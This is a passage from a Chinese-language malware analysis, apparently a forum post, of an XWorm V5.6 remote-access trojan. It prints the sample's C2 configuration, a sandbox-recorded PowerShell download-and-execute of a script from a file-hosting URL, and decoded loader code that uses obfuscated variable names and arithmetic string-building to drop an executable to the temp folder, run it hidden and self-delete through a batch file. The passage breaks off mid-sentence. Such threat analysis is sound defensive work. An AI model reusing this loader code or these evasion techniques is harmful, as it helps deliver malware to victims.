.exe'], 'Mutex': ['MZL6j42k9OgGAoZY']}}{"C2 url": ["95.217.129.88"], "Port": 5921, "Aes key": "", "SPL": "", "Install file": "USB.exe", "Version": "XWorm V5.6"}
如下图所示:
https://static.52pojie.cn/static/image/hrline/2.gif
第二节:
[关联样本研判2]
[1] 对于第一节中的原始样本分析,由于根据解密方式的不同,得到的文件可能略有差异——Hash不同,但总体相同。我们在VirusTotal威胁情报平台上观察到另一份与之相关联的由该ShellCode解密得到的可执行文件 (964f5015772aa4a6cf67b083648ba56625221cc8892e861a39351a977bfa6150)。如下图所示:
PE结构对比,如下图所示:
强调该文件是由于该文件在VirusTotal威胁情报平台中的Microsoft Sysinternals沙盒运行时C2存活并下发了执行PowerShell命令的指令,被沙盒有效记载,由于C2目前已经离线,因此其具有较高的威胁情报价值。我们可以在Shell Commands和Processes Tree信息中观察到PowerShell被拉起时的进程树,并看到其执行的命令行信息和PowerShell命令,如下图所示:
可以看到其通过PowerShell静默下载并执行https[:]//files.catbox[.]moe/69b44f[.]ps1脚本 (d03a44e92a67dbb9bb6befdd2c0b3c7844e9f64fb847eff6bbc1ad09d679e273)。
我们将该脚本下载后,可以看到脚本中的变量${IndianiqsqDChtlS}由多个编码片段拼接而成,如下图所示:
对于第一组编码数据,我们猜测为Hex数据,开头部分数据为: 0x54, 0x56, 0x71, 0x51, 0x41, 0x41, 0x4d, 0x41, 0x41, 0x41, 0x41, 0x45, 0x41, 0x41, 0x41, 0x41, 0x2f, 0x2f,将其转换为字符串后为: TVqQAAMAAAAEAAAA//,再讲该字符串进行base64解码后就会得到Windows PE文件的MZ头,因此该脚本通过base64编码+Hex编码序列化存储了一个二进制可执行文件。如下图所示:
由于脚本中多个部分使用不同的编码方法,并且拆得非常零散,如果一个一个手动进行解码再拼接工作量大且十分复杂,我们直接滑动到脚本底部查看其拼接、反序列化和释放并写入文件的部分。
分析脚本底部的部分变量:PowerShell中反引号 是转义字符,变量名中的反引号不会影响实际变量名,反引号在PowerShell中用来转义特殊字符,所以这里可能是在故意混淆变量名,让分析变得困难。 对于变量InDIankpMjbYeDtf‘,可以看到赋值的内容是‘[sYstEm.iO.PAtH]::gEtTemPpath()‘,即获取系统临时目录并赋值。对于变量‘InDIankpMjbYeDtf‘,可以看到赋值的内容是‘::gEtTemPpath()‘,即获取系统临时目录并赋值。对于变量‘indIanRJLztrDfju,可以看到赋值的内容末尾是.exe,其在拼接exe文件的所在目录(indiankPMJByEDtf‘)和文件名(‘InDianwuCrZjtWnS.exe‘),即文件路径,并赋值。对于变量‘indiankPMJByEDtf‘)和文件名(‘InDianwuCrZjtWnS.exe‘),即文件路径,并赋值。对于变量‘{IndIanadZvBsCmdZ},可以看到赋值内容末尾是.bat,其在拼接批处理文件的所在目录({inDiankpmjbyEDtf})和文件名(IndIanWucrZjtWnS.bat‘),即文件路径,并赋值。对于变量‘IndIanWucrZjtWnS.bat‘),即文件路径,并赋值。对于变量‘{InDianXtLIjxmcWX}`,可以看到其赋值的内容是拼接出来的批处理命令: 复制代码 隐藏代码@echo off`ntimeout /t 2 /nobreak>nul`ndel `"$InDianrJLztrDfJu`" /f /q`nexit
再解密表达式——对于表达式: 复制代码 隐藏代码((19002 - 9867 - 3089 - 5968))+(((980 -Band 7475) + (980 -Bor 7475) - 17 - 8337))+((-3995 - 2033 - 2118 + 8265))+((-1228 - 4793 + 4838 + 1228))+(((-12598 -Band 5996) + (-12598 -Bor 5996) + 1865 + 4816))+(((-3392 -Band 2765) + (-3392 -Bor 2765) + 2332 - 1607))+(((-16650 -Band 2904) + (-16650 -Bor 2904) + 9290 + 4562))+((-3687 - 6737 + 1379 + 9146))+(((-6385 -Band 2400) + (-6385 -Bor 2400) + 9609 - 5525))+(((8580 -Band 8726) + (8580 -Bor 8726) - 9299 - 7891))
解密结果为: New-Object
对于表达式: 复制代码 隐藏代码(((-3042 -Band 9181) + (-3042 -Bor 9181) - 5054 - 1002))+(((-7205 -Band 6236) + (-7205 -Bor 6236) - 2366 + 3451))+((-8213 - 1056 + 8357 + 1009))+(((-6809 -Band 7938) + (-6809 -Bor 7938) - 215 - 800))+(((-4455 -Band 4808) + (-4455 -Bor 4808) + 3896 - 4133))+(((485 -Band 1549) + (485 -Bor 1549) - 2869 + 880))+(((5055 -Band 498) + (5055 -Bor 498) - 4931 - 542))+((8030 - 4044 - 2553 - 1319))+((-15464 - 2385 + 9245 + 8715))+(((-8969 -Band 8206) + (-8969 -Bor 8206) - 3948 + 4810))+(((-10583 -Band 9149) + (-10583 -Bor 9149) + 8015 - 6480))+(((10950 -Band 1116) + (10950 -Bor 1116) - 5894 - 6057))+((10835 - 5184 - 2482 - 3054))
解密结果为: Start-Process
如下图所示:
我们将第一条表达式解密后代入原代码,发现其使用System.Diagnostics.ProcessStartInfo启动静默无窗口该可执行文件: 复制代码 隐藏代码${inDiangcPYCWauLx}=New-Object System.Diagnostics.ProcessStartInfo;${`In`Dian`G`CPYcwa`ULX}.FIleNAme=$inDIanRJLztrDfJU;${ind`Iang`Cp`YCwa`UL`X}.CrEaTEnOwIndoW=();${in`Diangc`Py`Cwau`LX}.WindOwstYLE=0;${ind`IangtCsik`Ocrc}=[syStem.diAGNOstIcs.pRoCeSS]::sTaRt(${inDIangcPyCWaulx})
代码说明如下: 复制代码 隐藏代码# 创建 ProcessStartInfo 对象 (变量名混淆: inDiangcPYCWauLx)${inDiangcPYCWauLx} = New-Object System.Diagnostics.ProcessStartInfo# 设置要执行的程序路径,来自变量 $inDIanRJLztrDfJU 的值# 变量名混淆: `In`Dian`G`CPYcwa`ULX# 实际对应: ${inDiangcPYCWauLx}.FileName = $inDIanRJLztrDfJU${`In`Dian`G`CPYcwa`ULX}.FIleNAme = $inDIanRJLztrDfJU# 设置不创建新窗口 (通过字符强制类型转换设置布尔值 [生成 $true])# 空值被转换为布尔值 $true# 变量名混淆: ind`Iang`Cp`YCwa`UL`X; 方法名混淆: CrEaTEnOwIndoW ...# 实际对应: ${indIangCpYCwaULX}.CreateNoWindoW = ()${ind`Iang`Cp`YCwa`UL`X}.CrEaTEnOwIndoW = ()# 设置窗口样式为隐藏 (0 = Hidden)# 变量名混淆: in`Diangc`Py`Cwau`LX; 方法名混淆: WindOwstYLE# 实际对应: ${inDiangcPyCwauLX}.WindowStyle = 0${in`Diangc`Py`Cwau`LX}.WindOwstYLE = 0# 启动配置好的进程# 变量名混淆: indIangtCsikOcrc; 方法名混淆:sTaRt ...# 实际对应: ${indIangtCsikOcrc} = ::Start(${inDIangcPyCWaulx})# 实际调用: System.Diagnostics.Process.Start()${ind`IangtCsik`Ocrc} = [syStem.diAGNOstIcs.pRoCeSS]::sTaRt(${inDIangcPyCWaulx})
我们将第二条表达式解密后代入原代码,继续看到末尾的部分代码: 复制代码 隐藏代码Start-Process -FilePath ([syStem.TeXt.enCoDing]::utf8.GETSTRing((99, 109, 100, 46)) + [SYSTeM.TExt.eNcOdInG]::UTf8.GEtstRinG((0x65, 0x78, 0x65))) -ArgumentList "/c ${indianadZvBSCMDZ}" -WindowStyle Hidden
对于Dec 99, 109, 100, 46,我们对照ASCII码表可得结果:Dec 99 => cDec 109 => mDec 100 => dDec 46 => .
对于Hex 0x65, 0x78, 0x65,我们将其转换为